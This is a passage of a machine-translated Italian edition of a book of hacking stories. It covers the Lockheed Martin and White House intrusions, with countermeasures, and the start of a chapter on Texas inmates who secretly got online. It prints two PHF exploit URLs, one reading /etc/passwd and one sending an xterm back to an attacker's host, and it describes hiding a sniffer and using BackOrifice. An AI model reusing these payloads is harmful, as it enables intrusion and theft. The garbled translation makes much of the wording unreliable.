La società utilizzava un'implementazione dei protocolli DNS chiamato BIND (Berkeley Internet Name Domain). Il gruppo polacco aveva scoperto che una versione di BIND era suscettibile di un tipo di attacco che coinvolge un *buffer overflow remoto*, e che la versione era quella dell'essere utilizzato a Lockheed Martin. Seguendo il metodo che aveva scoperto on-line, ne0h è stato in grado di ottenere i privilegi di root (amministrativi) sia sul I server DNS Lockheed primario e secondario.

Dopo aver ottenuto radice, ne0h indicato per intercettare password ed e-mail l'installazione di un programma di sniffer, che agisce come un intercettazione telefonica computer. Qualsiasi traf-

fic inviato attraverso la rete è nascosto catturato; l'hacker di solito manda i dati da memorizzare in un luogo in cui sarà improbabile per essere notato. A nascondere il registro sniffer, ne0h dice, ha creato una directory con un nome che era semplicemente uno spazio, rappresentata da tre punti; il percorso effettivo ha usato era "/ Var / adm / ..." C'era una breve ispezione, un amministratore di sistema potrebbe trascurare questo elemento innocuo.

Questa tecnica di nascondere il programma sniffer, mentre efficace in molti situazioni, è abbastanza semplice; molto esistono metodi più sofisticati per coprire le tracce di un hacker in una situazione come questa.

Prima mai scoprire se sarebbe stato in grado di penetrare ulteriormente nel Rete Lockheed Martin per ottenere informazioni aziendali riservate, ne0h stato deviato verso un altro compito. File sensibili di Lockheed Martin rimase al sicuro.

Per l'hack della Casa Bianca, Zyklon dice che inizialmente ha un programma chiamato CGI (Common Gateway Interface) scanner, che analizza il stema di destinazione tem di vulnerabilità CGI. Ha scoperto il sito web era suscettibile attaccare usando l'PHF sfruttare, che si avvale di un programmatore errore commesso dallo sviluppatore dello script PHF (rubrica).

PHF è un'interfaccia basata su form che accetta un nome come input e guarda in alto il nome e l'indirizzo le informazioni sul server. Lo script chiamato funzione zione `escape_shell_cmd()`, che avrebbe dovuto disinfettare l'input per qualsiasi caratteri speciali. Ma il programmatore aveva lasciato un carattere fuori la sua lista, il carattere di nuova riga. Un attaccante esperto potrebbe approfittare di

Capitolo 2 quando i terroristi venire chiamata

43

questa svista fornendo input nella forma che includeva l'codificato versione (0x0A) del carattere di nuova riga. L'invio di una stringa con questo carattere trucchì Acter lo script in esecuzione qualsiasi comando che l'attaccante sceglie.

Zyklon digitato nel proprio browser l'URL:

```
http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/bin/  
cat% 20 / etc / passwd
```

Con questo, fu in grado di visualizzare il file delle password per whitehouse.gov.

Ma voleva guadagnare il controllo completo sopra il server web della Casa Bianca. Lui sapeva che era altamente probabile che le porte del server X saranno bloccati dal firewall, che gli avrebbe impedito di collegamento a qualunque di quelli Ser-gelati su whitehouse.gov. Così, invece, ha ancora una volta sfruttato il buco PHF da entrare

```
http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/usr/  
X11R6 / bin / xterm% 20-ut% 20-Display% 20zyklons.ip.address: 0.0
```

Ciò ha causato un xterm da inviare dal server della Casa Bianca per un computer sotto il suo controllo in esecuzione un server X. Cioè, invece collegata zione a whitehouse.gov, in effetti è stato al comando della Casa Bianca

Sistema per la connessione a *lui*. (Questo è possibile solo quando il firewall permette connessioni in uscita, che è stato a quanto pare il caso qui.)

Ha poi sfruttato una vulnerabilità di buffer overflow nel sistema pro-

gram - ufsrestore. E questo, dice Zyklon, gli ha permesso di guadagnare root su whitehouse.gov, così come l'accesso al server di posta Casa Bianca e altri sistemi sulla rete.

C

COUNTERMEASURES

Le gesta di ne0h e compagno descritto sollevano due questioni per tutti aziende.

Il primo è semplice e familiare: Tenere corrente su tutte le ultime operativo del sistema e delle applicazioni uscite dai vostri fornitori. E' importante prestare CISE vigilanza nel tenere il passo con e installare qualsiasi relative alla sicurezza patch o fix. Per assicurarsi che questo non è fatto su una base hit-or-miss, tutte le aziende dovrebbero sviluppare e attuare un programma di gestione delle patch, con l'obiettivo di allertare il personale adeguato ogni volta che una nuova patch è rilasciato per i prodotti che l'azienda utilizza - software del sistema operativo particolare, ma anche il software applicativo e il firmware.

E quando una nuova patch diventa disponibile, deve essere installato appena possibile - immediatamente, a meno che questo porrebbe operazione aziendale zioni; altrimenti, nel più breve tempo pratico. Non è difficile da capire

L'arte dell'intrusione

44

dipendenti oberati di lavoro che cedono alla pressione di concentrarsi su quelli progetti altamente visibili (sistemi di installazione per i nuovi lavoratori, per fare solo un esempio) e andare in giro per l'installazione delle patch su un time-disponibile base. Ma se il dispositivo senza patch è pubblicamente accessibile da Internet, che crea una situazione molto rischiosa.

Numerosi sistemi sono compromesse a causa della mancanza di cerotto stione gestione. Una volta che una vulnerabilità viene divulgata pubblicamente, la finestra di esposizione certo è significativamente aumentata fino a quando il venditore ha rilasciato una patch che risolve il problema, ei clienti hanno installato.

L'organizzazione ha bisogno di fare l'installazione di patch ad alta priorità articolo, con un processo di gestione delle patch formale che riduce la finestra esposizione più rapidamente possibile alle esigenze di non interferire con operazioni business-critical.

Ma anche di essere vigili su installazione di patch non è sufficiente. ne0h dice che alcune delle irruzioni a cui ha partecipato sono stati compiuti attraverso l'uso di exploit "zero-day" - un'intrusione basata su un vulnerabile lità che non è noto per altri al di fuori di un piccolo gruppo di hacker di bilan- cio muore. "Zero day" è il giorno prima sfruttano la vulnerabilità, e quindi la giorno il venditore e la comunità di sicurezza prima a conoscenza di esso. Poiché c'è sempre un potenziale di essere compromessa da un zero-day sfruttare, ogni organizzazione di utilizzare il prodotto difettoso è vulnerabile fino a patch o soluzione viene rilasciato. Così come si fa a ridurre il rischio di questo l'esposizione?

Credo che l'unica soluzione possibile consiste nell'utilizzare una *difesa in profondità* il modello. Dobbiamo presumere che i nostri sistemi informatici accessibili al pubblico saranno vulnerabile ad un attacco giorno zero a un certo punto nel tempo. Quindi, dovremmo creare un ambiente che riduce al minimo i danni potenziali di un cattivo ragazzo può fare. Un esempio, come accennato in precedenza, è di mettere a disposizione del pubblico sistemi sulla DMZ del firewall aziendale. Il DMZ termine, preso in prestito

dai militari / sigla politica per *zona demilitarizzata*, si riferisce a creazione architettura di rete in modo che i sistemi il pubblico ha accesso (Server Web, server di posta, server DNS, e simili) sono isolati dai sistemi sensibili sulla rete aziendale. Distribuzione di un'architettura che protegge la rete interna è un esempio di difesa di profondità. Con questa disposizione, anche se gli hacker scoprono una precedente sconosciuta vulnerabilità e un server Web o di posta è compromessa, i sistemi aziendali sulla rete interna sono ancora protetti da un ulteriore livello di sicurezza.

Le aziende possono montare un altro contromisura efficace monitoraggio degli host di rete o individuali per l'attività che appare insolito o sospettoso. Un attaccante di solito compie determinate azioni una volta che lui o lei ha compromesso successo un sistema, come tentativo di ottenere

Capitolo 2 quando i terroristi venire chiamata

45

password criptate o in chiaro, l'installazione di una porta sul retro, modifica dei file di configurazione per indebolire la sicurezza, o il sistema di modifica, applicazione o i file di log, tra le altre iniziative. Avere un processo in atto che controlla per questi tipi di comportamento degli hacker tipico e avvisa il personale adeguato a questi eventi possono aiutare con controllo dei danni.

Su un argomento a parte, sono stato intervistato innumerevoli volte dalla stampa circa i modi migliori per proteggere il vostro business e il vostro personal computer. Risorse in ambiente ostile di oggi. Uno dei miei raccomandazione di base è quello di utilizzare una forma più forte di autenticazione rispetto alle password statiche. Lei non potrà mai sapere, se non forse dopo il fatto, quando qualcuno ha altro scoperto la password.

Un certo numero di tecniche di sign-on di secondo livello sono a disposizione per essere usato in combinazione con una password tradizionale, per fornire maggiore sicurezza. Oltre a SecureID di RSA, menzionato in precedenza, SafeWord PremierAccess offre token generatori di password, certificati digitali, smart card, biometria, e altre tecniche.

I compromessi di utilizzo di questi tipi di controlli di autenticazione sono il costo aggiunto e lo strato supplementare di disagio per ogni utente. Tutto dipende da quello che si sta cercando di proteggere. Password statiche possono essere sufficiente per il *LA Times* sito Web per proteggere i suoi articoli di notizie. Ma sarebbe si conta su password statiche che proteggono le ultime specifiche di progettazione per una nuova jetliner commerciale?

T

HE

B

OTTOM

L

INE

Le storie in questo libro, così come sulla stampa, dimostrano la insicurezza dei sistemi informatici di questa nazione e di quanto siamo vulnerabili a un attacco. Sembra che alcuni sistemi sono veramente sicuri.

In questa epoca di terrorismo, abbiamo chiaramente bisogno di fare un lavoro migliore di ricucire i buchi. Episodi come quello raccontato qui sollevano un problema dobbiamo affrontare: quanto facilmente il talento e la conoscenza della nostra unwitting-

adolescenti Ting possono essere girati contro di noi di mettere in pericolo la nostra società. Credo che i ragazzi delle scuole dovrebbero essere insegnati i principi di etica informatici avvio ing quando vengono introdotti informatica nella scuola elementare.

Recentemente ho partecipato a una presentazione del Frank Abagnale, il protagonista nel film campione d'incassi *Prova a prendermi*. Frank aveva canalizzata un sondaggio di studenti delle scuole superiori in tutto il paese per il uso etico dei computer. Ogni studente è stato chiesto se lui o lei considerate che un comportamento accettabile per craccare la password di un compagno. Sorprendentemente, il 48 per cento degli studenti intervistati ha pensato che era proprio bene. Con atteggiamenti come questo, non è difficile capire perché le persone diventano coinvolti in questo tipo di attività.

L'arte dell'intrusione

46

Se qualcuno ha un suggerimento di come rendere i giovani hacker meno suscettibile di essere reclutati dai nostri nemici, stranieri e nazionali, vorrei che o si sarebbe parlare e fare le sue idee conosciute.

N

OTES

1. "fare terroristi Troll la Rete?" Di Niall McKay, Wired.com, 14 novembre 1998.
2. McKay articolo, op. cit.
3. McKay articolo, op. cit.
4. Dal satp.org sito Web, Sud Asia Intelligence Review.
5. "Gli Stati Uniti e il Global coalizione contro il terrorismo, Settembre-Dicembre 2001: Cronologia, "www.state.gov/r/pa/ho/pubs/fs/5889.htm.
6. Indirizzo dal Maggiore Generale Yashwant Deva, AVSM (a riposo), Presidente Iete, su "Informazioni Sicurezza "a India International Centre, Nuova Delhi il 6 aprile 2002, p. 9.
7. A conferma di questo è difficile. Dal momento che questo attacco è avvenuto durante l'amministrazione Clinton, nessuno delle persone elencate sarebbero lavorando alla Casa Bianca più. Ma un paio di curiosità sono disponibili grado. Monty Haymes ha fatto la registrazione video. Christopher Adams è il nome di un reporter con la Financial Times, un giornale britannico; per quanto abbiamo potuto appurare, non c'era Casa Bianca dipendente con questo nome. Debra Reid è un fotografo per l'Associated Press. Nessuno di nome Connie Colabatistto sembra essere lavorato alla Casa Bianca; una donna con quel nome è (O era) sposato con Gene Colabatistto, che fu presidente di soluzioni al com- Space Imaging azienda, ma non vi è alcun collegamento evidente a loro di essere parte del team della Casa Bianca.
8. <http://www.attrition.org/mirror/attrition/1999/05/10/www.whitehouse.gov/mirror.html>.
9. Anche qui, la verifica è difficile da trovare. Tuttavia, il testo citato può essere visionato a <http://www.attrition.org/mirror/attrition/1999/05/26/mmic.snu.ac.kr/>.
10. "hacker potrebbe inibire il militare; Sistema compromesso in Secret Exercise, "di Bill Gertz, *Washington Times* , 16 aprile 1998.
11. " guerre del futuro ... oggi ", di Tom Regan, *Christian Science Monitor* , 24 Giugno 1999.

Capitolo 2 quando i terroristi venire chiamata
47

49

Capitolo 3**Il Texas Prison Hack**

Non credo che ci sia una cosa che si può dire a un ragazzo per farli cambiare, non per avere un valore in sé, si sa, e mai prendere la strada breve.

- William

T

wo giovani detenuti, ogni volta facendo esteso per omicidio, si incontrano in un giorno ardente nel cortile di cemento di una prigione del Texas e display coprono condividono un fascino con i computer. Fanno squadra e diventare hacker segrete proprio sotto il naso delle guardie attenti. Tutto ciò che è in passato. In questi giorni, William Butler entra nella sua auto a 05:30 tutte le mattine nei giorni feriali e comincia il pendolarismo per lavorare attraverso intasato traffico Houston. Egli stesso un uomo molto fortunato, anche a suo avviso essere vivo. Ha una ragazza fissa; guida una macchina nuova fiammante. E, ha aggiunge: "Mi è stato recentemente premiato con un 7.000 dollari rilancio. Non male. " Come William, il suo amico Danny è anche costante nella vita e tenendo premuto un lavoro stabile fare il lavoro del computer. Ma nessuno dei due potrà mai dimenticare il lungo, lenti anni pagano un prezzo duro per le loro azioni. Stranamente, il tempo carcere li possiede le conoscenze che stanno ora facendo tale buon uso di un "mondo libero".

Interno: Discovering Computers

La prigione è uno shock per il nuovo arrivato. Detenuti che arrivano sono spesso oggetto di dumping insieme fino alla indisciplinato e violento può essere risolto - un coltà grave lenge a coloro che cercano di vivere secondo le regole. Circondato da persone che

potrebbe esplodere da un sfida immaginato, anche i miti devono appendere duro e stare in piedi da soli. William ha ideato il suo insieme di regole:

Io fondamentalmente vissuta come si doveva vivere lì. Sono solo 5'10 "e

Probabilmente ero 255. Ma non era solo di essere grande, è un mentalità che non ero una persona debole ed ero nessuno di essere

sfruttato. Mi portavo così. All'interno, se qualcuno

percepisce ogni debolezza, poi approfittarne. Io non

bugia, non ho chiacchierare di affari altrui, e non chiedetemi

per la mia attività, perché ti dico di ottenere f___ed.

Danny e io sia fatto il tempo sulle unità difficili. Voi sapete di cosa sto

dicendo - unità di gladiatori, dove si doveva combattere tutto il tempo. Così

non abbiamo dato un cazzo di guardie o nessuno. Vorremmo combattere a

la goccia di un cappello o di fare quello che dovevamo fare.

Danny stava già scontando una condanna a 20 anni presso l'Unità di Wynne, un carcere di Huntsville, in Texas, quando William è arrivato. Il suo lavoro iniziale carcere non aveva nulla a che fare con i computer.

In primo luogo mi ha mandato ad una unità in cui si inizia stai facendo il lavoro sul campo nelle fattorie. Andate zappare su e giù righe. Potrebbero usare

macchine per questo, ma non lo fanno - è una forma di punizione così

si sente meglio su qualsiasi lavoro vi danno seguito.

Quando Danny è stato trasferito all'unità Wynne, era grato di essere

assegnato lavoro d'ufficio presso l'Ufficio Trasporti. "Ho iniziato a lavorare su una macchina da scrivere Olivetti con un monitor e una coppia di dischi. Correva DOS e aveva un po' di memoria. Ho sbagliato in giro cercando di imparare a usarla "(Per me, che suonò le campane familiari: Il primo computer che io abbia mai usato era una telescrivente Olivetti con un modem a 110 baud acustica-accoppiatore.) Ha trovato un vecchio libro di computer in giro, un manuale di istruzioni per il programma di database dBase III presto. "Ho capito come mettere i rapporti il dBase, mentre tutti gli altri erano ancora scrivendo la loro. "Ha trasformato il ufficio ordini di acquisto per dBase e anche avviato un programma per monitorare la le spedizioni del carcere di prodotti agricoli ad altre prigioni in tutto lo stato. Alla fine ha fatto Danny stato trustee, che ha portato un lavoro assegnazione ment coinvolgendo un più alto livello di fiducia e di ciò che è indicato come un "cancello passare, "che gli permette di lavorare al di fuori del perimetro protetto del carcere. Fu inviato a un posto di lavoro in ufficio spedizione in una roulotte fuori dal recinto, preparazione ordini di spedizione per i camion di consegna che trasportano il cibo beni. Ma ciò che veramente importava era che gli ha dato "il mio primo accesso reale ai computer. "

L'arte dell'intrusione

50

Dopo un po', è stato dato una piccola stanza nel trailer e messo a capo di hardware - assemblaggio macchine nuove e fissare quelle rotte. Qui era un'occasione d'oro: imparare a costruire i computer e correggerli da esperienza pratica. Alcune delle persone con cui lavorava avrebbe portare libri di informatica per lui, che ha accelerato la sua curva di apprendimento. Essere responsabile di hardware gli ha dato accesso a "uno scaffale pieno di componenti informatici con niente inventariati. "Presto cresciuti abbastanza abile al montaggio macchine o l'aggiunta di componenti. Il personale penitenziario non ha nemmeno ispezionare i sistemi per determinare come li aveva configurato, così lui potrebbe facilmente creare macchine con attrezzature non autorizzate.

Le prigioni federali sono Different

Questo tipo di disprezzo incurante di ciò che un prigioniero è fino a è improbabile in un prigione federale. L'US Bureau of Prisons ha sensibilmente elevato livello di paranoia sull'argomento. Durante il mio tempo dentro, ho avuto un "NO COMPUTER" assegnazione, che significa che era considerato una minaccia per la sicurezza per me avere alcun accesso a un computer. O anche l'accesso a un telefono cellulare, se è per questo: A procuratore ha detto una volta un magistrato federale che se ero libero di usare un telefono cellulare durante la detenzione, sarei stato in grado di fischiare in esso e inviare istruzioni a un missile intercontinentale Air Force. Assurdo, ma il giudice non ha avuto motivo per non crederci. Mi è stato tenuto in isolamento per otto mesi.

Nel sistema federale in quel momento, i detenuti sono stati autorizzati del computer accesso solo sotto una rigida serie di linee guida. Nessun detenuto potrebbe usare qualsiasi computer che è stato collegato a un modem, o che aveva una scheda di rete o altro dispositivo di comunicazione. Operativamente i computer critici e stema sistemi che contengono informazioni sensibili sono stati chiaramente indicati "Staff Usa Solo "quindi sarebbe immediatamente evidente se un detenuto stava usando una computer che ha messo a rischio la sicurezza. Computer hardware era strettamente controllato dalla tecnologia personale esperto per impedire l'uso non autorizzato.

William Ottiene le chiavi del castello

Quando William è stato trasferito dalla prigione agricola all'unità Wynne in

Huntsville, ha atterrato un lavoro invidiabile in cucina. "Ho avuto le chiavi il castello perché ho potuto scambiare cibo per altre cose. "

La cucina aveva un computer, un antico 286 macchina con un raffreddamento ventilatore sul fronte, ma ancora abbastanza buono per lui fare buoni progressi con sviluppare le sue competenze informatiche. Era in grado di mettere un po 'di cucina record, report e moduli d'ordine di acquisto del computer, che ha salvato ore di aggiunta di colonne di numeri e digitando di scartoffie.

Dopo William scoprì che c'era un altro detenuto che ha condiviso la sua interesse per i computer, Danny era in grado di migliorare la qualità della

Capitolo 3 Il Texas Prison Hack

51

configurazione del computer nel commissariato. Tirò componenti dallo scaffale nel trailer Agricoltura e poi reclutato l'aiuto di alcuni amici con incarichi di manutenzione, che potrebbe andare in qualsiasi parte del carcere.

Essi non hanno risposto a nessuno. Così di nascosto parti di computer in la cucina per noi - semplicemente metterli in un carrello e rotolare giù.

Poi una notte di Natale, una guardia camminava sull'unità con un scatola che fondamentalmente aveva ricambio per un intero computer in esso, e un mozzo e altre cose.

Come ha fatto a convincere una guardia di rompere le regole in modo così evidente? "Ho appena fatto

quello che chiamano 'lavorato mio gelatina' su di lui - Ho appena parlato con lui e lo amicizia. "I genitori di William avevano acquistato i prodotti informatici a la sua richiesta, e la guardia convenuto di portare il carico di articoli come se erano regali di Natale.

Per fornire uno spazio di lavoro per la sua installazione di computer in espansione, William stanziato un piccolo ripostiglio attaccato al commissario. La stanza era ventilata ma era sicuro che non sarebbe stato un problema, e

Non ero: "Ho scambiato cibo per ottenere un condizionatore d'aria, abbiamo bussato un buco nel parete e mettere il condizionatore in modo abbiamo potuto respirare e potrebbe lavorare in tutta comodità ", ha spiegato.

"Abbiamo costruito tre PC là dietro. Abbiamo preso i vecchi 286 casi e mettere Schede Pentium in loro. I dischi rigidi non si adatterebbe, quindi abbiamo dovuto usare rotoli di carta igienica per i titolari del disco rigido ", che, mentre un soluzione innovativa zione, deve essere stato divertente da guardare.

Perché tre computer? Danny scenderebbe a volte, e che avevano hanno ciascuno un computer per l'utilizzo. E un terzo uomo più tardi ha iniziato "una legge ufficio "- detenuti carica per la ricerca i loro problemi legali online elaborare documenti di ricorso archiviazione e simili.

Nel frattempo, le abilità di William nell'uso di un computer per organizzare il com-scartoffie di missary attirò l'attenzione del capitano responsabile della servizio di ristorazione. Ha dato un incarico William aggiunto: Quando non è impegnato con doveri regolari, era di lavorare sulla creazione di file del computer per il CAP-rapporti di Tain per il guardiano.

Per svolgere queste ulteriori responsabilità, William è stato permesso di lavorare nell'ufficio del capitano, un compito dolce per un prigioniero. Ma dopo un tempo William cominciò a irritarsi: Quei computer del commissario erano di ora caricato con file musicali, giochi e video. Nell'ufficio del capitano, ha avevano nessuno di questi diversivi piacevoli. Il buon vecchio innovazione americana più

una buona dose di coraggio coraggiosa suggerito un modo per risolvere il problema.
*Ho scambiato il cibo dalla cucina per ottenere il cavo di rete da tensione
Nance. Abbiamo avuto l'ordine di manutenzione addetto noi una bobina di 1.000 metri*
L'arte dell'intrusione
52

*Cat 5 [Ethernet] cavo. Avevamo le guardie aprono inseguimenti tubi
e corse il cavo. Ho detto loro che stavo facendo il lavoro per il
Capitano e avevano aperto la porta.*

In breve tempo, aveva cablato una connessione Ethernet collegando i tre computer che ora aveva nel commissario, con il computer nell'ufficio del capitano. Quando il capitano non c'era, William aveva il piacere di giocare i suoi giochi per computer, ascoltando la sua musica, e guardando i suoi video.

Ma lui stava correndo un grosso rischio. E se il capitano è tornato improvvisamente e lo scoperto con la riproduzione di musica e un gioco sullo schermo, oppure un film girato? Significherebbe addio alla posizione privilegiata in cucina, i dazi comodi nell'ufficio del capitano, e l'accesso alla configurazione del computer che aveva così faticosamente assemblato.

Nel frattempo, Danny aveva i suoi problemi. Stava lavorando in Agricoltura Ufficio circondato da computer, con prese telefoniche ovunque connessione al mondo esterno. Era come un bambino con il suo naso premuto per la finestra del negozio di caramelle e senza soldi in sua tasca. Tutte queste tentazioni così vicine e non c'è modo di goderne.

Un giorno un ufficiale ha rivelato in minuscolo ufficio di Danny. "[Egli] ha portato la sua macchina perché non poteva ottenere la connessione a Internet. Io non so come funzionava, non c'era nessuno insegnarmi un punto qualsiasi cosa. Ma sono stato in grado di aiutarlo a configurarlo. "Nel processo di ottenere il machine online, l'ufficiale, su richiesta, ha dato il suo nome utente e Danny parola d'accesso; probabilmente non vedeva alcun problema a fare questo, sapendo che i detenuti non sono stati autorizzati a utilizzare qualsiasi computer con accesso on-line. Danny ha realizzato quello che la guardia era troppo denso o troppo tecnicamente analfabeta di capire: aveva dato Danny un e-ticket a Internet. Segretamente esecuzione di una linea telefonica dietro un rack di armadi nella sua area di lavoro, Danny agganciato fino al modem interno nel suo computer. Con la login e password dell'ufficiale che aveva imparato a memoria, era d'oro: Egli aveva accesso a Internet.

Online in sicurezza

Per Danny, il raggiungimento di una connessione Internet ha aperto un intero nuovo mondo sul suo monitor. Ma proprio come per William, ha corso un rischio enorme ogni volta che è andato online.

Sono stato in grado di effettuare chiamate in uscita, raccogliere informazioni sui computer e tutto, e fare domande. Stavo firmando on per l'ufficiale, ma il tutto il tempo ho avuto paura che potrebbe venire alla luce. Ho cercato di essere curaful di non rimanere così a lungo che ho legato le linee.

Capitolo 3 Il Texas Prison Hack

53

Una soluzione intelligente stesso suggerito. Danny installata una "splitter" su

la linea telefonica di andare al fax. Ma non passò molto tempo prima che il Unità Ag ha cominciato a sentire lamentele da altre prigionie vogliono sapere perché la loro linea fax era affollata, quindi la maggior parte del tempo. Danny si rese conto che aveva

avere per ottenere una linea dedicata se voleva crociera netto al tempo libero e in sicurezza. Un po' di scouting ha fornito la risposta: Ha scoperto due tele-jack phone che erano vivi, ma non in uso. A quanto pare nessuno del personale ricordato anche loro esistevano. Egli ricollegato il cavo dal suo modem, collegarlo a una delle prese. Ora aveva il suo esterno linea. Un altro problema risolto.

In un angolo della sua stanzetta, sotto una pila di scatole, ha istituito un computer come server - in effetti, un dispositivo di memorizzazione elettronica per tutto il grande roba ha progettato per scaricare, in modo che i file musicali e pirateria informatica istruzioni e tutto il resto non sarebbe sul proprio computer, nel caso qualcuno sembrava.

Le cose stavano prendendo forma, ma Danny è stato afflitto da un altro coltò coltò, uno molto più grande. Non aveva modo di sapere che cosa sarebbe succederebbe se lui e l'ufficiale ha cercato di utilizzare account Internet dell'ufficiale a contemporaneamente. Se Danny era già collegata, sarebbe l'ufficiale ottenere una messaggio di errore dicendo che non poteva andare online perché il suo conto era già in uso? L'uomo potrebbe essere stato un fitto redneck, ma sicuramente a quel punto si sarebbe ricordato dando Danny sue informazioni sign-on e cominciare a chiedersi. Al momento, Danny non poteva pensare a una soluzione; il problema lo tormentava.

Eppure, era orgoglioso di quello che aveva compiuto, date le circostanze.

Aveva preso una quantità enorme di lavoro. "Avevo costruito una buona fondazione - la gestione di server, scaricare nulla ho potuto scendere web, in esecuzione [software] 'GetRight' che avrebbe mantenuto un download in corso 24 ore. Giochi, video, hacking informazioni, imparare

le reti sono istituiti, le vulnerabilità, come per trovare le porte aperte. "

William ha capito come l'installazione di Danny nel Dipartimento Agricoltura era stato possibile. "Era praticamente l'amministratore di rete perché

il ragazzo privo di mondo [l'impiegato civile] avevano lavorato c'era un

lavori buffone. "I detenuti venivano assegnati che il dipendente era

dovrebbe fare, ma non so come, cose come "il C ++ e

Di programmazione Visual Basic, "né hanno hanno l'intelligenza necessaria per gestire correttamente la rete.

Un'altra sfida anche turbato Danny: Il suo computer ha affrontato un corridoio, così chiunque poteva vedere quello che stava facendo. Dal momento che l'Ufficio Agricoltura è stato rinchiuso dopo l'orario di lavoro, poteva andare solo on-line durante il giorno, guardando per momenti in cui tutti gli altri in ufficio sembrava essere troppo occupato con il proprio lavoro di prendere qualsiasi interesse in quello che era su a. Raccogliendo un trucco intelligente che gli avrebbe permesso di prendere il controllo di L'arte dell'intrusione

54

un altro computer, ha collegato sua macchina a quello utilizzato da un civile dipendente che ha lavorato di fronte a lui. Quando l'uomo non c'era e che sembrava forse nessuno sarebbe alla deriva nella stanza sul retro per un po', Danny avrebbe requisire l'altro computer, metterlo in rete, e impostarlo su

scaricare qualche gioco o la musica che voleva il server in un angolo.

Un giorno, quando era nel bel mezzo di ottenere on-line per un download,

qualcuno si presentò inaspettatamente in area di lavoro di Danny: una femmina

guard - sempre più a muso duro e-le-regole che gli uomini,

Danny e William d'accordo. Prima che potesse liberare il suo controllo degli altri

la macchina, gli occhi della guardia si spalancarono: Aveva notato il cursore in movimento!

Danny è riuscito a lasciare il suo funzionamento. La guardia sbatté le palpebre, probabilmente gura urante deve aver immaginato, e uscì.

Soluzione

William ricorda ancora vividamente il giorno in cui la soluzione sia di loro

Problemi di accesso a Internet si sono verificati a Danny. L'equipaggio cucina è stato permesso

di prendere i pasti nella dell'ufficiale sala dopo gli ufficiali avevano finito

e sgomberato. William avrebbe spesso nascosto Danny a mangiare il "molto Bet

cibo ter "nella sala da pranzo con lui, e si potrebbe anche parlare in privato

Là. "Ricordo ancora il giorno ho preso lì," William correlato.

"Ha detto: 'So come possiamo farlo, B.' Questo è quello che mi hanno chiamato - B,

o Big B. E con esso mi ha spiegato quello che stavamo gonna do. "

Cosa Danny immaginato stava mettendo insieme due pezzi di un puzzle;

le linee telefoniche al mondo esterno, a sua disposizione in

Dipartimento di Agricoltura, e computer di William in cucina. Lui

proposto un modo che avrebbe lasciato i due di loro usano computer e ottenere

su Internet ogni volta che volevano, in libertà e sicurezza.

Siamo sempre seduti nella parte posteriore dei giochi di gioco Commissary sulla

computers. E ho pensato, "Se potessimo sederci qui e giocare

giochi, e nessuno si preoccupa - le guardie non si preoccupano finché

ottenere il nostro lavoro fatto - allora perché non possiamo accedere a Internet da
proprio qui? "

L'Ufficio Agricoltura aveva materiale informatico che era più a monte

to-date, perché, come ha spiegato Danny, altre prigioni in tutto lo stato

"Razzed" al loro server. Il suo mandato "razzed" era un modo per dire che com-

puters le altre prigioni erano connette da dial-up per Agricoltura

Server di Office, che è stato configurato in modo da consentire le connessioni dial-up, attraverso

RAS di Microsoft (Remote Access Services).

Un elemento make-or-break chiave affrontato i ragazzi: modem. "Getting

possesto di modem è stato un grande affare ", ha detto William. "Continuavano a quelli abbastanza

Capitolo 3 Il Texas Prison Hack

55

stretto. Ma siamo riusciti a mettere le mani su un paio. "Quando erano

pronto ad andare online dal commissario, "Quello che vorremmo fare è dial up

sulle linee telefoniche interno-unitari e razz nel Dipartimento di Agricoltura. "

Traduzione: Dal commissario, i ragazzi sarebbe inserire un comando

istruire il modem del computer per comporre una chiamata su un interno

linea telefonica. Quella chiamata sarebbe stato ricevuto da un modem in vendita aziendale, un

modem collegato al server di Danny. Tale server è su una rete locale

a tutti gli altri computer in ufficio, alcuni dei quali avevano modem con-

collegato a linee telefoniche esterne. Con commissario e Ag Ufficio com-

reti informatiche parlano tra loro attraverso la linea telefonica interna, il

successivo comando sarebbe incaricare uno di questi computer Ag ufficio per comporre

out a Internet. Voilà! Accesso immediato.

Beh, non proprio. I due hacker bisogno ancora di un account con un Internet fornitore di servizi. Inizialmente, hanno usato i nomi di login e le password di personale che ha lavorato nel reparto ", quando sapevamo che erano andando essere fuori della caccia città o qualcosa del genere ", dice Danny. Questo zioni aveva spogliato installando il software altri computer chiamato "BackOrifice", un popolare strumento di monitoraggio remoto che li ha controllo di un computer remoto come se fossero seduti di fronte ad esso. Naturalmente, utilizzando le password di altre persone era rischioso - con tutti i tipi di modi si potrebbe ottenere catturati. Fu William questa volta che è venuto con un soluzione. "Ho avuto i miei genitori a pagare per noi di avere accesso a Internet con un società di servizi locale, "quindi è stato più necessario utilizzare altre per- Informazioni di PLE sign-on.

Alla fine hanno mantenuto la connessione a Internet tramite Agricoltura Ufficio andare 24/7. "Abbiamo avuto due server FTP correre laggiù a valle film di carico e di musica e più di hacking strumenti e tutti i tipi di cose del genere che ", dice Danny. "Mi stavo giochi che non erano ancora stati rilasciati."

Quasi Preso

Nel loro quartier commissario, William collegato schede audio e altoparlanti esterni in modo da poter riprodurre musica o ascoltare la colonna sonora come guardato un film scaricato. Se una guardia ha chiesto cosa stessero facendo, William disse loro: "Io non chiedo il vostro business, non chiedere la mia." *Ho detto [le guardie] tutto il tempo ci sono alcune cose nella vita che posso promessa. Numero uno, io non avrò una pistola e non voglio sparare un punto qualsiasi corpo qui. Numero due, non voglio fare la droga e diluire la mia mente. Numero tre, non ho intenzione di avere un protettore e non sto andando essere un pappone. Numero quattro, io non pasticciare con un ufficiale donna. Non potevo promettere loro che non avrei combattere. Non ho mai mentito 'em. E hanno rispettato la mia onestà e la mia franchezza, e così*
L'arte dell'intrusione

56

che avrebbero fatto le cose per me. È possibile ottenere le guardie a fare favori per conversazione.

Conversazione governa la nazione. Parli donne su loro mutandine, vedere quello che sto dicendo, si parla degli uomini a fare quello che vogliono loro di fare per voi.

Ma non importa quanto intelligente un oratore un detenuto può essere, nessuna guardia sta di consentire un libero sfogo detenuto con i computer e linee telefoniche esterne. Così come ha fatto questi due scappare con le loro scappatelle di hacker in bella vista di le guardie? William ha spiegato:

Siamo stati in grado di fare un sacco di cose che abbiamo fatto, perché si guardarono noi come mezzo ingegno. Siamo nella sede di redneck-dom, così i padroni [Guardie] avevano idea di cosa stavamo facendo. Non potevano nemmeno capire cosa eravamo capaci.

Un altro motivo dovrebbe essere che questi due detenuti stavano facendo com-informatici di lavoro altri erano stati pagati per prendersi cura di. "La maggior parte delle persone che

